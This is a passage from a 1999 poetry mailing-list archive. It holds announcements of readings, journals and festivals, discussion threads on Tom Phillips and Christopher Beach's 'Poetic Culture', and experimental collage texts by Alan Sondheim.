"Once the skin is broken there is no other way." You leave the skin behind or you shed the old and reappear scorched with having lived, newly centered, made angelic through death's touch. Traditionally, the shaman takes the illness of the tribe into him/herself in order to meet the pain in the spirit world where it can be understood, reckoned with. Here, in your poem, there's a tension between memory and renewal, survival and the future. It's as if poetry could be an instruction manual, an aid to life. "When we met he had a new tattoo. Two skeletons, dancing. He called them silly guys." The story or poem becomes a deal struck with yourself to look into the past unflinchingly, with a personal and ethical responsibility. These things are not to be forgotten, repressed. But understood, as an absence that co-creates the self.

"So struggled into words. Braille golden girl--skin against your energy--continue..." And so perfect here, the image of the blind reading through touch, from the dark, reaching for the unseen. Feeling and meaning combine to reveal, yet it is the continuation of the unknown that somehow stems from personal energy. "I'm the lucky pup. I get to know..." "Teach each other to teach each other to teach each other. The words get used up. Come back to me in my dreams..." Yes. Teaching each other. The only course for the living, for the survival of the tribe. For the self. "Tribal members mark change with a physical marking of the body. Now I've got two. This is what I grew into..."

This is a simple story, but perhaps the story, the only one that is recycled time and again because of its urgency. The combination of nerve and mind to confront memory with the deep visceral movements of language. The mind and the body of the writer now move on, now do not, experience producing its own kind of shroud at various, unexpected moments. What is it other than temporary survival and teaching others? Which brings us to writing, a kind of sharing of experience, the way the mind feels it. Truth and speech. Past and future through present memory.

Dale Smith
San Francisco
Spring 1995

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

124. Nielsen, Aldon
C.L.R. James -- Call for Papers
Mon 11 Oct 1999

Not DIRECTLY poetry-related (he only published one sonnet in his career of writing) but ----

>I am organizing a panel on the work of C.L.R. James to be presented at the
>American Literature Association, May 25-28. The conference will be held in
>Long Beach, CA.
>
>Papers may address any aspect of the work, life, influence etc. of C.L.R.
>James.
>
>Please send BRIEF email description of proposed paper to:
>
>Aldon L. Nielsen
>
>[redacted]
>
>
>
>---
>You are currently subscribed to cultstud-l as: [redacted]
>To unsubscribe send a blank email to
[redacted]

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125. Bob Grumman
Re: Studies or Essays on Tom Phillips
Mon 11 Oct 1999

I'd much appreciate your posting whatever you find out about critical reaction to the work of Tom Phillips. I doubt that there's much, for the same reason there's almost nothing out there about ANY genuine visual poets.

--Bob G.

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126. Poetics List Administration
the fall ottawa small press book fair / CPA London
Mon 11 Oct 1999

SPAN-O
- small press action network - ottawa -
presents

the fall ottawa small press book fair

sunday october 31, 1999
at the glebe community centre, main hall
lyon @ second avenue
from 11am to 5pm (set up at 10am)

tables are $15. full tables only.
for catalog, send press name, contact info including email & web info,
list of recent titles, how submissions work, etc with a cheque payable to
rob mclennan to:
SPAN-O, 96 rochester street ottawa k1r 7l8
any questions, contct rob via email.
catalog deadline is october 25th.

please note: i will be away until october 18th, & will be available only thru
email.

forward to those who might be interested.

-- poet/editor/publisher... ed. STANZAS mag & Written in the Skin (Insomniac)
pub., above/ground press...coord., the ottawa small press fair & Ontario rep,
The League of Canadian Poets...snail c/o rob mclennan, rr#1 maxville on k0c
1t0 * 4th coll'n, The Richard Brautigan Ahhhhhhhhhhh (Talonbooks)

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127. Poetics List Administration
The Edgewise ElectroLit Centre / CPA London
Mon 11 Oct 1999

This came to the administrative account. Chris

--

From: CPA London <[redacted]>
Date: Sat, 2 Oct 1999 23:59:06 -0400

The Edgewise ElectroLit Centre
Videopoem Festival

7:30pm

Saturday, November 7, 1999
Video In Studios,1965 Main Street, Vancouver, BC

Admission: $10

In this first annual event, Vancouver's own Edgewise ElectroLit Centre will be presenting Videopoems from across Canada and around the world. We have solicited six pieces for one half of the show and have put out an international call for submissions in order to collect a diverse range of work in this fledgling medium. Videopoetry festivals have occurred in places such as Chicago, San Francisco (known as the Cinepoem Festival) and Roma, Italy. This event is the first of its kind in Canada and it is a much needed venue for the presentation of Canadian work in this genre.

Solicited work for this year's festival features:

Down Here, Bud Osborn (James Riley, Producer)
Verbomotorhead (Kedrick James, Producer)
Jill Battson (Jill Battson, Producer)
Chinese Cucumbers, Patricia Smith (Kurt Heintz, Producer)
Jason Le Heup (Jason Le Heup, Producer)

The goals of this festival are both to develop an audience for this genre in

Canada and the creation of an environment of exchange and learning among artists. To this latter end, we have invited experienced producer, poet and media artist, Jill Battson of Toronto, ON to speak at the festival on the origins of the genre, its forms, and on the artistic and cultural context in

which it can flourish.

Funding for The Edgewise ElectroLit Centre Videopoem Festival has been received
from the Canada Council for the Arts
and is produced in partnership with Video In Studios, Vancouver, BC.

The Edgewise ElectroLit Centre is a nonprofit society whose mandate is to exploit communications technology to widen the audience of Canadian poetry and to give poets, multi-media artists and youth the opportunity to use, learn, and create with this technology. Videoconferencing and online publishing are the

major technologies that we work with. Our electronic magazine can be viewed and heard at <www.edgewisecafe.org>. Poets featured with audio include Adeena Karasick, Wayde Compton, bill bissett and Sheri-D Wilson. We also

publish videopoems online and are hosting Canadas first Videopoem Festival at Video In Studios this fall.

For more information, please call Carol L. Hamshaw, Administrator, at
[redacted]/[redacted],
or via email at [redacted]

Steven R. Duncan <[redacted]>
Poet, Publisher, founding member of the notorious "Ducktape Platypus Poets Coalition".

Solo Performances:
Friday, Oct 1
Generous Margins Small Press Fair
The Wise Club
9:30pm

Listen to Wax Poetic
with Diane Laloge and S.R. Duncan
every Wednesday at 2pm
on Co-op Radio 102.7 fm

And,

The "New and Improved" Vancouver Poetry Slam
First and third Monday of every month
Cafe Deux Soliel
2096 Commercial Dr.

SPECIAL EVENT
Wednesday, November 3
Cafe Deux Soliel
2096 Commercial Drive
"VERBAL TRANSMISSIONS"
A benefit for spoken word on Co-op Radio
Stay tuned for more details.

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128. Poetics List Administration

canadian poets online / CPA London

Mon 11 Oct 1999

Announcing the opening of:

'writing canada into the millennium: canadian poets online'

This University of Calgary English Department electronic project provides

an
organized guide to the chronological, geographical, and publication histories
of selected Twentieth-Century Canadian poets. Our goal is to provide the public and the University community with an organized pedagogical tool to
assist research on the history and contemporary concerns of Canadian poetry.

We can be found at:
http://www.ucalgary.ca/UofC/faculties/HUM/ENGL/canada/

Please pass on to whomever may be interested.

For further information, contact: [redacted],
[redacted]
or
[redacted]

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129. Poetics List Administration

r e a d m e / Sullivan

Mon 11 Oct 1999

This came to the administrative account. Chris

--

From: "Gary Sullivan" <[redacted]>
Date: 10/6/99, 1:40 PM -0400

Hello everyone,

r e a d m e is now up:

http://www.columbia.edu/cu/history/detour/readme

I n t e r v i e w s

Charles Bernstein (by Bradford Senning)
Mary Burger (by Jacques Debrot)
Jeff Clark (by Jordan Davis)
Nada Gordon (by Gary Sullivan)
Randolph Healy (by Robert Archambeau)
Kent Johnson (by John Bradley)
Rebecca Levi (by GS)
Ange Mlinko (by GS)
Alan Sondheim (by GS)

E s s a y s

Jack Kimball on John Wieners
Kimberly Lyons on Women and the Poetry Project
Alan Sondheim's "" or Practice

P o e t r y

Daniel Davidson's Last Poems
Nada Gordon "essay"
Joel Lewis "The Pethro Poems"
Kimberly Lyons "Concordonnance"
Alan Sondheim "Selected Works"

R e v i e w s

Nada Gordon on Andrea Brady's Liberties
Jeffrey Jullich on Aaron Shurin's Paradise of Forms
Ramez Qureshi on J.H. Prynne's Collected Poems
Gerald Schwartz on Kamau Brathwaite
Heather Fuller on Jeff Conant

A S p e c i a l S e c t i o n o n D a n i e l D a v i d s o n w i t h w r i t i n g b y

George Albon
Bruce Andrews
Dodie Bellamy & Kevin Killian
Jeff Conant
Beverly Dahlen & Kevin Killian
Greg Fuchs
Benjamin Friedlander
Colleen Lookingbill
Aldon Nielsen
Charles Pollack
Gary Sullivan
Jordan Zorker

L i n k s

Links to bios, interviews with and work by more than 400 20th century "non-mainstream" authors (constantly updated; feel free to suggest further URLs).

r e a d m e is a quarterly online journal of poetics featuring interviews, essays and reviews germane to contemporary poetry. Poetry published only in tandem with author interviews and/or critical prose, except in cases of poem-as-reading/critique. Queries welcome. A letters page will be included in subsequent

issues. Please send all queries and correspondence via email: [redacted] or to Gary Sullivan, 558 11th Street, #1B, Brooklyn, NY 11215.

Next issue: Interviews with Hoa Nguyen, Laurie Price, Rod Smith, and more ..

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130. Poetics List Administration

Carla Harryman's THE WORDS / Scalapino

Mon 11 Oct 1999

This came to the administrative account. Chris

--

From: "Thos J White" <[redacted]>
Date: 10/10/99, 11:39 AM -0700

Just out: Carla Harryman's THE WORDS/AFTER CARL SANDBURG'S ROOTABAGA STORIES AND JEAN-PAUL SARTRE (O Books, $12:00, ISBN # 1-882022-39-4; distributed by Small Press Distribution, 1341 Seventh Street, Berkeley, CA 94710, phone [redacted])

In this challenge to the separation of literary genres, Carla Harryman takes as her points of departure two entirely disparate texts. Exploding Jean-Paul Sartre's ideal of imagined autonomy, in his autobiography THE WORDS, and inspired by the grostesque play of Sandburg's ROOTABAGA STORIES, Harryman begins with her own account of an impossible and contemporary childhood. In a world of recollected futurity, nihilists, chairs, amazons, ghosts, and spool bablies, "We, the stranded" concoct their illusions of spontaneous creativity.

"At last, children's literature has been liberated, liberated into fiction! Carla Harryman's WORDS is a fiction in which the mischief is perpetually unnaming names in an ongoing discursive cross-wind beneficial to hybridizing texts. Bold and subversive." -- Marjorie Welish

"THE WORDS is not one novel, but many. Its economics are libidinal, luxuriant, and layered: part roman fleuve, in which the first generation born in the 'artificial jungles' of the Cold War comes of age 'on the border that separates the absurd from the socially constructed reality,' part roman a clef, in which every word will instantly recognize itself and every fly allusion find its author in eternity, and part philosophical romance in the mode of the later Wittgenstein, who proposed that 'the double cross and the duck-rabbit might be among the spots [on] a wall covered with spots.' And, because 'shadows dream in their niches,' this is finally a utopian novel, everywhere transforming 'defeat into rapture.' In

(and with) THE WORDS, Carla Harryman has written a postmodern classic. It's the book to take along to the proverbially deserted island." -- Ted Pearson

"A child touches a flower.
Then a tip of air moves to fill the space moving a leg apart from a leg. Slightly apart, the legs will promise a little breeze to the part. A seamless song stays the tip of an invective against the child's mother. One can't see the mirror on the tip of a flower.

The cool child is father to the man
The hard child is mother to the man
The quiet child is mother to the woman
The burning child is father to the woman"
-- Carla Harryman

↑ Index

131. Harriet Zinnes
Re: Cover me rumble
Mon 11 Oct 1999

Dear Kathy

I'm reviewing for CHELSEA Leslie S's new WEsleyan book, THE PUBLIC WORLD ...would you like me to include your publication of S. If so, do send it along rather quickly.

Wonderful that you're doing so much.

Best

Harriet

↑ Index

132. Molly Schwartzburg
Re: Studies or Essays on Tom Phillips
Mon 11 Oct 1999

I've found almost nothing at all on Phillips on the literature end of things, though on the art end there are reviews and catalogs of individual shows.

There is a selected bibliography in the catalog for an exhibition at North Carolina Museum of Art:

Huston Paschal, _Tom Phillips: Selections from the Ruth and Marvin Sackner Archive of Concrete and Visual Poetry_. Raleigh: North Carolina Museum of Art, 1990.

I am currently working on Phillips and would also appreciate any suggestions.
--Molly Schwartzburg

On Mon, 11 Oct 1999, Bob Grumman wrote:

> *I'd much appreciate your posting whatever you find out about critical reaction to the work of Tom Phillips. I doubt that there's much, for the same reason there's almost nothing out there about ANY genuine visual poets.*
>
> *--Bob G.*

↑ Index

133. George Bowering
Re: Bromige's beard
Mon 11 Oct 1999

> *the true motive*
> *for my avowed "great pleasure" in introducing David Bromige during the group reading at the same event. (Though, it's true, I have as much admiration for his work as for his beard -*

I feel that it is necessary to say something about Bromige's beard. It is not his beard at all! He stole it from me during one of his fly-by-night visits up the coast. I am glad to see that it is arousing admiration among USAmerican poets and others. But I would like it back.

George Bowering.

,

fax: [redacted]

↑ Index

134. Alan Sondheim
than Flode
Tue 12 Oct 1999

-

than Flode

æfter than flode; the from Drihtene com.

the al her a-quelde; quic that he funde.
  buten Noe.& Sem; Iaphet & Cham.
  & heore four wiues;
the mid heom weren on archen.

heore twa wiues Nikuko & Julu
the mid heom weren in Stromland
heore twa wiues Jennifer & Azure
the mid heom weren in Neuland

buten transieram celerem nebuloso flumine Nauam
addita miratus ueteri noua moenia Vinco,
whar ar yar far wavas Alan, what ar ya far Alan
whar ar Azara & Noe. Alan, whar ar tha flaad

y am ma far wavas Sem, ma far wavas wath ma
y am wath tha fllad Noe., ma far wavas alsa

fra Drihtene com tha ranas & tha fraggas twa
fra Gaddas laff cam Jannifar & har far wavas

ta laff wath Gaddas sa marrie
ta bee wath mannes sa cantrarie

↑ Index

135. Randy Prunty
poetry in Charlotte North Carolina?
Tue 12 Oct 1999

---

i'll be visiting family in charlotte, nc from oct 27 to oct 31. does anyone know of interesting poetry events there during this time? anyone know of any interesting poets who live in charlotte?
back channel i guess
randy prunty

↑ Index

136. Lowther, John
Situationist translations and index
Tue 12 Oct 1999

---

i thought some of you poetix folk might be interested in this

> *-----Original Message-----*
> *From: Bureau of Public Secrets [SMTP:[redacted]]*
> *Sent: Monday, October 11, 1999 11:11 PM*
> *To: Bureau of Public Secrets*
> *Subject: Situationist translations and index*
>
> *The SITUATIONIST INTERNATIONAL ANTHOLOGY has now been completely retranslated and uploaded. The original book translations were quite accurate, but the new online versions are clearer and more idiomatic.*

> *They are also easier to work with because the BPS website now has a comprehensive index, with over 2000 name and subject entries, covering every person mentioned, every revolt and revolution (chronologically and by country), and hundreds of other topics from anarchism to Zen.*
>
> *Check it out at http://www.slip.net/~knabb/index1.htm*
>
> * * *
>
> *BUREAU OF PUBLIC SECRETS*
> *P.O. Box 1044, Berkeley CA 94701, USA*
> [redacted]
> *http://www.slip.net/~knabb*

↑ Index

137. Mark Prejsnar
Review of Beach's Poetic Culture
Tue 12 Oct 1999

We have an extrememly lively local poets group here in Atlanta, which recently has begun discussing issues quite actively by e-mail, supplementary to our frequent local get-togethers... The post below started as a response to something the atanta poet Randy Prunty had posted, commenting on an Atlanta figure who is big on the local "slam" scene....As it progressed, it grew against my initial intentions into an offhand review of Christopher Beach's excellent new book, Poetic Culture. Soon i had written so many of my thoughts down that i figured it might make sense to share 'em with a larger grouping...So i am posting this to both the Atlanta group and the Buffalo List. --Mark Prejsnar

(p.s. By the way, the mentions toward the beginning of this post of "our kind of writing" etc. are addressed to my initial audience, the 11 or 12 members of the Atlanta Poets Group; anyone interested in what that kind of writing is, can check out a large selection of our work in the current New Orleans Review, and in a special issue of Mirage #4 that will be out fairly soon....)

The new book by C. Beach is very interesting.... From a point of view that is very sympathetic to our kind of writing, he tries nonetheless to talk about "what is happening" both sociologically and artistically in U.S. poetry right now.... Two of the chapters are in-depth discussions of the slam scene, and are very informative. Beach tries to start from the point of view that there is no "wrong" school to be in..and so compares slam, workshop, and our kind of writing, attempting to be "fair". For instance in another chapter he examines the career and work of workshop maven Stephen Dobyns in comparison to the career and

work of Lyn Hejinian... (he comes to the conclusion that, without prior prejudice about which type of poetry is "good" and which "bad," Dobyns is a fairly weak poet and Hejinian a pretty good one....Which makes sense to me; ...Most people wd. suspect his claim to be so "without prejudice" about overall styles to start with... But i think he would argue that he is reaching conclusions about the relative strength of different contemporary camps..not starting out with them. And this claim to some extent is backed-up by his treatment of slam work, which he like a whole lot more than workshop, and treats with considerable respect.)

There are lots of weaknesses: apart from the fact that he makes an effort to be respectful and enthusiastic about the slam scene, thus giving more credit to shallow, silly work (in many instances) than it deserves, he also makes certain theoretical moves that i believe are confused (but are pretty uiversally agreed to on today's scene) He uses the phrase "avant-garde" or else "experimental" about once a page, in a 200 page book; and he believes that people like Bernstein, Mackey, Silliman, Coolidge, belong to an "oppositional avant-garde" whose main raison d'etre is to be against all mainstream culture and the social system, and also to exist as a cohesive group (to at least some significant extent)...Thus he claims that "post-language experimental poets," whom he represents by "Writing from the New Coast," the O-Blek anthology, are terribly confused and are floundering because they are not as cohesive a group, and do not write as much theory, and do not have as much politix, or as confident a sense of where they fit in history or of their mission, as the previous generation. In other words, he really (at the end) seems to lose track of questions regarding what their poetry is like, and how good it is, because he is caught up in questions of whether these newer poets can play institutional and public-relations games with success.... I believe this confusion on Beach's part comes from two things: the "sociological" slant of much of his book (which is its strength by the way, in part, but which ends up causing a certain obsession with the p.r. aspects of poetry's public life); and his commitment to the old concepts of "avant-garde" and "experimental", which have in a way outlived thier usefulness. (For instance, i have been reflecting recently on the how much "camps" have become institutionalized, in a way that is inflexible: the generation of Perelman, Silliman et al. use "avant-garde" and "experimental" all the time, in discussing contemporary work, and this is also a broad general practice today.... But previous generations of U.S. poets whsoe work was challenging and mold-breaking, such as the generation of Pound, Williams, Zukofsky, Stein, or the generation of Olson, Duncan and Spicer, did not so identify themselves...They thought of what they were doing as "poetry," and aspired to have it seen as the strongest and most exciting work being done in their time.,...It didn't occur to them to saddle themselves with ghettoizing labels... What i feel strongly is that we have to get

back to that mindset... For the kind of work represented by the APG and many people on the BuffaList, is simply the best work being done in the U.S. ... and i question whether we want to continue to police the boundaries by using these terms...)

--mark prejsnar

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138. Elizabeth Treadwell
Announcing Outlet (4/5) Weathermap
Tue 12 Oct 1999

Outlet (4/5) Weathermap

92 pp double issue

featuring

- New Poetry and Prose by:

Norma Cole
Sarah Anne Cox
Noah de Lissovoy
Patrick F. Durgin
Taj Jackson
Jeffrey Jullich
Pamela Lu
Michael Magee
Sarah Mangold
Chris McCreary
Gwyn McVay
Michelle Murphy
Susan Smith Nash
Stephen Ratcliffe
Christopher Reiner
Camille Roy
Kathy Lou Schultz
E. Cameron Scott
Heather Sweeney
John Tranter
Elizabeth Treadwell
Liz Waldner

+ Reportage:

An Interview: Kathleen Fraser's "Provisional Answers to Some Questions" by Sarah Anne Cox

A History: "Publishing a Community: Women Publishers at the Poetry Project" by Marcella Durand

& Reviews:

Jacques Debrot on Laynie Browne's _The Agency of Wind_,
Linda Russo on Susan Gevirtz's _Black Box Cutaway_,
Charles Alexander on Jessica Grim's _Fray_.

$5 -- cheap! -- checks to E. Treadwell --

Excerpts from this & previous issues are featured at our website:
http://users.lanminds.com/dblelucy

Outlet c/o
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
USA

---------- Dear subscribers & contributors: your copies will be mailed this weekend (10/16). Pls. contact me -- soon -- if your address has changed since we last corresponded. Thx. -ET

↑ Index

139. Taylor Brady
Re: Studies or Essays on Tom Phillips
Tue 12 Oct 1999

On a related note - does anyone have any leads on critical writings pertaining to Phillips' sparse-but-fascinating output as a composer?

Taylor Brady

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Molly Schwartzburg
Sent: Monday, October 11, 1999 4:28 PM
To: [redacted]
Subject: Re: Studies or Essays on Tom Phillips

I've found almost nothing at all on Phillips on the literature end of things, though on the art end there are reviews and catalogs of individual shows.

There is a selected bibliography in the catalog for an exhibition at North Carolina Museum of Art:

Huston Paschal, _Tom Phillips: Selections from the Ruth and Marvin Sackner Archive of Concrete and Visual Poetry_. Raleigh: North Carolina Museum of Art, 1990.

I am currently working on Phillips and would also appreciate any suggestions.
--Molly Schwartzburg

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140. Kenneth Goldsmith
___ *U B U W E B : NEW RESOURCES OCTOBER 1999*___
Tue 12 Oct 1999

___ U B U W E B___VISUAL, CONCRETE + SOUND POETRY___

http://www.ubu.com

NEW RESOURCES OCTOBER 1999

HISTORICAL

Aram Saroyan, USA, Flower Power (essay, 1999)

Jacques Villeglé, France, Affiches 1960s-1980s

SOUND

Antonin Artaud
Aliénation et Magie Noire (1946)

Robert Ashley, USA
In Sara Mencken, Christ and Beethoven there were men and women

Erik Belgum, USA
Bad Marriage Mantra

ee cummings, USA
Two Sound Poems

Francis E. Dec, Esq., USA

François Dufrêne, France
Ouverture san Fin (1976)

Oyvind Fahlström, Sweden

Brion Gysin
Sound Poems and Lectures 1960-1981

Fluxus Anthology
18 Artist's Soundworks (1962-1989)

Raoul Hausmann, Austria
Sound Poetry (1918 / 1959)

Richard Hulsenback
Phantastische Gebeté (1916 / 1967)

James Joyce
Anna Livia Plurabelle (rec. 1929)

Phil Minton
A Doughnut in One Hand (1998)

Narrative Poetry from
The Black Oral Tradition
1964-1966

Ben Patterson
Early Works, 1960-1995

Pierre Schaeffer
Solfege de l'objet Sonore, 1966 (Complete)

Poesia Sonora
Do fonetismo às poéticas
contemporâneas de voz, Brazil (1996)

Sound Poetry Today
An International Compilation (1998)

Demetrio Stratos
Cantare La Voce, 1978

Tristan Tzara
Pour Compte (1949)

CONTEMPORARY

Bill Luoma, Hawaii Imagiste / Moisty

Brian Kim Stefans, NYC, NY, USA, The Naif and the Bluebells

PAPERS

George Brecht, USA
Something about Fluxus

Henry Flynt, USA
George Maciunas and My Collaboration With Him

Abraham Lincoln Gillespie, USA

Eugen Gomringer, Switzerland
1. From Line To Constellation
2. Concrete Poetry
3. Max Bill and Concrete Poetry
4. The Poem As A Functional Object

Dick Higgins, USA
In a Mine Boatdestroyer Around the World,
or Some Remarks on Fluxus

Noigandres Group, Brazil
Pilot Plan for Concrete Poetry

Pierre Schaeffer, France
Treatise on Musical Objects

Mary Ellen Solt, USA
Concrete Poetry: A World View
(Indiana University Press, 1968)

Emmett Williams, USA
The Stars & Stripes

___ U B U W E B___VISUAL, CONCRETE + SOUND POETRY___

http://www.ubu.com

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141. David Kellogg
Re: Studies or Essays on Tom Phillips
Tue 12 Oct 1999

On Mon, 11 Oct 1999, Molly Schwartzburg wrote:

> *I've found almost nothing at all on Phillips on the literature end of things, though on the art end there are reviews and catalogs of individual shows.*

There is a chapter on Phillips in Heather McHugh's _Broken English: Poetry and Partiality_ (Wesleyan, 199?)

Cheers,
David
~~~
~~~

↑ Index

142. **David Kellogg**
Re: poetry in Charlotte North Carolina?
Tue 12 Oct 1999

Hard to supress a snicker at the very idea of this subject line. It's enough of a desert here in Raleigh/Durham/Chapel Hill. Of course, if there IS anything I would like to know too.

Thirsty,
David
~~~
~~~

144. Brendan Lorber
OUTDOORS WITH E.MYLES/B.LORBER/M.LEVOVE
Tue 12 Oct 1999

Why hello there. I hope you can make it to...

The final poetry reading of the millenium in THE POETS IN THE GARDEN READING SERIES is this Sunday, October 17, 5pm in the 6th and B Community Garden, at 6th Street and Avenue B in Manhattan.

It's FREE!

The readers are:

MINDY LEVOVE, the poet/musician who curated the Community Garden Reading Series for six years. Her work has been published in Clown War and Journal for Speculative Poetry, and she has composed & performed music for Landfill Gardeners of Gondwanaland, among others.

BRENDAN LORBER, the editor/publisher of LUNGFULL! Magazine. Printing both the rough drafts & final versions of writer's work, the magazine explores the creative process. His chapbook, The Address Book is due out soon from The Owl Press. He's also cocurator at the Zinc Bar Sunday Night Reading Series and The Double Happiness Reading Series.

EILEEN MYLES, the winner of a 1999 NYFA grant and the author of Chelsea Girls and School of Fish. She recently completed her first novel, Cool for You.

The reading starts PROMPTLY at 5pm, and will be moved under the canopy in case of rain.

Poets in the Garden reading series is put together by Maggie Dubris.

Eileen Myles is an artists fellowship recipient of the New York Foundation For The Arts. These presentations are co-sponsered by Artists & Audiences Exchange, a public service program of the New York Foundation For The Arts.

Will I see rugged, vigorous you in the garden this sunday? Yes?

All & only the best,
brendan

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145. Randy Prunty
Phillips, Beach, Charlotte
Tue 12 Oct 1999

hi david. found it interesting that you happened to respond to three things on the list and they all are related to folks here in atlanta. and there's a fourth

member (besides me, dana lustig, and mark prejsnar) of the atlanta poetry group that i think you know: james sanders

its a small world and i'm snickering too

randy

↑ Index

146. **David Zauhar**
Re: Review of Beach's Poetic Culture
Tue 12 Oct 1999

On Tue, 12 Oct 1999, David Kellogg wrote:

> *Mark, I haven't read Beach's new book but I was disappointed in -- even pissed off by -- the chapter on Hejinian and Dobyns when it came out in Contemporary Literature. If I recall, it made a few perfunctory gestures in the direction of sociology (e.g., Bourdieu) and then went off into a wholly predictable close reading of the two poets in which Hejinian clearly comes off the "winner." For all the sociological posturing, this struck me a pointless exercise and an insult to the sociology of poetry. Maybe the rest of the book is better, I'll have to see.*
>
> *Cheers,*
> *David*

Bourdieu makes a few cameos, mostly in footnotes. Insightful and concise every time, but some development would be helpful. Personally, I came to the book with the same predispositions concerning Dobyns and Hejinian as Beach displays. When Mark Presjner writes of this section of Beach's book that... ---------- MP: in another chapter he examines the career and work of workshop maven Stephen Dobyns in comparison to the career and work of Lyn Hejinian... (he comes to the conclusion that, without prior prejudice about which type of poetry is "good" and which "bad," Dobyns is a fairly weak poet and Hejinian a pretty good one....Which makes sense to me; ...Most people wd. suspect his claim to be so "without prejudice" about overall styles to start with... But i think he would argue that he is reaching conclusions about the relative strength of different contemporary camps..not starting out with them. And this claim to some extent is backed-up by his treatment of slam work, which he like a whole lot more than workshop, and treats with considerable respect.) ---------- ... I generally agree: he lets slammers get away with things that Dobyns pays for rather dearly. But I can't find where Beach says that he's approaching Dobyns and Hejinian without prejudice. In the intro, Beach writes "I have at times stated my own aesthetic criteria and preferences quite strongly, as in teh comparison of the `mainstream' academic poet Stephen Dobyns and the experimentalist Lyn Hejinian {hmmmm,

why no scare quotes around the equally dubious term "experimentalist"?}, and in my critiques of poetry anthologies and academic creative writing programs. While my intent has been to write a book that is synthetic and open-minded rather than narrowly partisan, I do believ that certain sectors of American poetic culture have been more successful than others in articulaint new perspectives and in generating innovative formal and cognitive structures..."(17-8) Which is why the point that David Kennedy raises is interesting: is it possible to have (and express) one's own aesthetic preferences without insulting the sociology of poetry? And if so, who are some of the critics who pull it off? Asking out of curiousity, not hostility, petulance, etc.

David Zauhar

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147. Safdie Joseph
Re: Review of Beach's Poetic Culture
Tue 12 Oct 1999

Hello Mark -- I applaud your last thought here, about losing the terms "avant-garde" -- it does create more ghettoization I think. Did you ever publish the excerpts from "The Story of O" that you were once interested in? Is Misc Proj even a going concern anymore?

Best,

Joe

-----Original Message-----
From: Mark Prejsnar [mailto:[redacted]]
Sent: Tuesday, October 12, 1999 8:31 AM
To: [redacted]
Subject: Review of Beach's Poetic Culture

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--mark prejsnar

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148. **pete spence**

Re: Studies or Essays on Tom Phillips

Tue 12 Oct 1999

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>Huston Paschal, _Tom Phillips: Selections from the Ruth and Marvin Sackner
>Archive of Concrete and Visual Poetry_. Raleigh: North Carolina Museum of
>Art, 1990.
>
>I am currently working on Phillips and would also appreciate any
>suggestions.
>--Molly Schwartzburg
>
the ruth and marvin sackner archive might your best bet they have a large collection of phillips see: www.rediscov.com/sackner.htm or maybe you could e-mail marvin for info if you haven't his e-mail address then you can ask me off-list//pete spence

---

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149. **derek beaulieu**

west coast line rescue program...

Tue 12 Oct 1999

---

as many of you have no doubt heard, West Coast Line is in trouble and needs our support.

i told the folks at WCL that i would do anything i could to help save them - if you are interested have a look at the contact names and numbers at the end of this message.

thanks for you patience

yrs

derek beaulieu

housepress

***

FROM WEST COAST LINE:

over the years, WCL has featured Here and There: Between South Asias; Transporting the Emporium: Hong Kong Art and Writing Through the Ends of Time; and North: New African Canadian Writing. The journal has honoured Canadians like the Tish poets, Phyllis Webb, Warren Tallman, Roy Kiyooka and bpNichol. We have done community outreach, like the 1998 Beyond the H Orizon: bpNichol + 10 conference and the 1997 SiteLines writers' retreat, not to mention lots of readings.

West Coast Line needs your help.

Our funding has just been radically cut, leaving us without operating funds for the winter. Next year's funding looks promising, but right now, unless we can raise $10,000, we'll have to close down.

Please help us prevent an untimely demise. If you can, please choose a 'rescue' option :

Sincerely,
Miriam Nichols, Editor

THE OFFICIAL "RESCUE WEST COAST LINE" DONATION PROGRAM

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o Saint $500 tax receipt, a 2 year free subscription, any 3 back issues & a complete set
of Line, WCL's modernist predecessor;

o Fairy Godperson $1000 tax receipt, a 3 year free subscription, a free gift subscription,
any 3 back issues & a complete set of Line.

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phone: [redacted] fax: [redacted]
online: www.sfu.ca/west-coast-line email: [redacted]

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150. Billy Little
Re: Review of Beach's Poetic Culture
Tue 12 Oct 1999

---

in reference to dobyns mark,

we're all marked on a curve and dobyns may be one of them but he's one of the best of them, the other children of mallarme, the franco-americans. levine, kinnel,piercy, willard, merwin, bidart, oliver, bly, hannigan, where's paul hannigan? fanny howe , ray carver,wendell berry, richard hugo, c.d.wright, ammons, haines, stern. brock-broido gilbert, , gluck, charles wright, jorie grahame, sextonists, loganistas, roethkeites, they're transcendentalists, emerzen and aughthorn their diogenes, bad as they may be, they are graaaaaaaate poets compared to 98% of the Web De Sol say or the chicago review.
we're not sharpening any machetes are we mark?
the audience is vast
we couldn't satisfy the demand
if they ceased to produce
those them
nobody rereads charles bernstein
at the race track

billy meowsie tongue little

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

151. **Alan Sondheim**

LEST WE FORGET, A MORALITY PLAY

Wed 13 Oct 1999

-

LEST WE FORGET, A MORALITY PLAY BY JENNIFER, NIKUKO, JULU, AND ALAN

PROLOGUE BY BUKHARIN: Repentence is often attributed to the Dostoyevsky mind, to the specific properties ofthe soul ("l'ame slave" as it is called), and this can be said of types like Alyosha Karamazov, the heroes of the "Idiot" and other Dostoyevsky characters, who are prepared to stand up in the public square and cry: "Beat me, Orthodox Christians, I am a villain!" But that is not the case here at all. "L'ame slave" and the psy- chology of Dostoyevsky characters are a thing of the remote past in our country, the pluperfect tense. Such types do not exist in our country, or exist perhaps only on the outskirts of small provincial towns, if they do even there. On the contrary, such a psychology is to be found in Western Europe.

JULU: Excellent. And this is what I want you to do, Alan, and this is what I want you to say. You will learn from a very good way to learn:

VYSHINSKY: Tell us the nature of your wrecking activities. ZUBAREV: When I was working in the seed cultivation department of the Peo- ple's Commissariat of Agriculture of the U.S.S.R., they were of the nature that the accused Chernov spoke about yesterday: causing confusion in seed cultivation, lowering the quality of the seeds, employing bad quality mat- erials, bad sifting, careless storing, and the result of all this was not only a reduction of yield, but also a hostile mood of the peasantry, dis- satisfaction with these so-called selected seeds.

Alan: This is excellent, and I will do my very best.

VYSHINSKY: What was the nature of your criminal activities in the People's Commissariat of Agriculture of the R.S.F.S.R.? ZUBAREV: Here my criminal activities consisted first of all in wrongly planning the sowing of vegetables; in particular, little attention was paid to the development of vegetable growing in our eastern districts, where the developing of vegetable growing was of enormous importance...

Jennifer: I am learning so very hard here.

